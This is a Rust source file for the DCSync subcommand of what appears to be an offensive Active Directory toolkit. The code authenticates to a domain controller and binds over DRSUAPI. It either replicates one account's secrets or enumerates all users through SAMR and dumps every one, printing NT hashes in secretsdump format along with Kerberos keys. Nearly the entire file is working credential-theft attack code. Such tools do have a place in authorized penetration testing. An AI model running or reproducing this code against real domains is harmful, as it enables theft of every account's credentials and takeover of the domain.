use anyhow::Result;
use clap::Parser;
use crate::ui;
#[derive(Parser)]
pub(crate) struct DcsyncArgs {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
#[arg(long)]
pub target: Option<String>,
#[arg(long)]
pub all: bool,
#[arg(long)]
pub yes: bool,
#[arg(long)]
pub limit: Option<usize>,
}
pub(crate) async fn dcsync(a: DcsyncArgs) -> Result<()> {
let stages = if a.all {
vec![
"resolve password",
"enumerate accounts (SAMR)",
"confirm bulk run",
"DRSUAPI bind",
"replicate all",
]
} else {
vec!["resolve password", "DRSUAPI bind", "replicate target"]
};
let mut checklist = ui::StageChecklist::new(stages);
let result = dcsync_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("DCSync stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("DCSync stages (failed)");
}
}
result
}
async fn dcsync_impl(mut a: DcsyncArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
use ms_drsr::DrsSession;
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
checklist.record_ok("resolve password", "resolved");
if a.all {
return dcsync_all(&a, checklist).await;
}
let mut sess =
DrsSession::bind(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password).await?;
checklist.record_ok("DRSUAPI bind", "sealed replication handle");
match a.target {
None => {
let handle_hex: String = sess.handle().iter().map(|b| format!("{b:02x}")).collect();
println!("[+] DRSBind OK — sealed replication handle {handle_hex} (no --target: bind-only check)");
checklist.record_skipped("replicate target", "no --target set — bind-only check");
}
Some(t) => {
let (rid, nt, kerb) = sess.dcsync(&a.auth.domain, &t).await?;
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
t, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", t, k.etype_name(), hex::encode(&k.key));
}
checklist.record_ok(
"replicate target",
format!("RID {rid} · NT hash + {} Kerberos key(s)", kerb.len()),
);
}
}
Ok(())
}
async fn dcsync_all(a: &DcsyncArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
use dcerpc::samr::SamrClient;
use ms_drsr::DrsSession;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.auth.host).await?;
smb.login(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
let pipe = smb.open_pipe("samr").await?;
let mut samr = SamrClient::bind(&mut smb, pipe).await?;
let mut users = samr
.enumerate_all_users(&format!("\\\\{}", a.auth.host))
.await?;
checklist.record_ok(
"enumerate accounts (SAMR)",
format!("{} account(s)", users.len()),
);
use std::io::IsTerminal as _;
if !a.yes && std::io::stdout().is_terminal() {
anyhow::bail!(
"`--all` will DCSync {} accounts from {} in this domain. Re-run with --yes to \
confirm, or use --limit N for a scoped run first.",
users.len(),
a.auth.host
);
}
checklist.record_ok(
"confirm bulk run",
if a.yes {
"--yes"
} else {
"non-TTY (auto-confirmed)"
},
);
if let Some(n) = a.limit {
if users.len() > n {
eprintln!(
"[*] --limit {n} — capping bulk run at {n} of {} enumerated accounts",
users.len()
);
users.truncate(n);
}
}
eprintln!("[+] {} accounts scheduled for replication…", users.len());
let mut sess =
DrsSession::bind(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password).await?;
checklist.record_ok("DRSUAPI bind", "sealed replication handle");
let (mut ok, mut fail) = (0u32, 0u32);
for (_rid, name) in &users {
match sess.dcsync(&a.auth.domain, name).await {
Ok((rid, nt, kerb)) => {
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
name, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", name, k.etype_name(), hex::encode(&k.key));
}
ok += 1;
}
Err(e) => {
tracing::warn!("dcsync {name} failed: {e}");
fail += 1;
}
}
}
eprintln!("[+] full-domain DCSync complete: {ok} dumped, {fail} failed");
checklist.record_ok("replicate all", format!("{ok} dumped · {fail} failed"));
Ok(())
}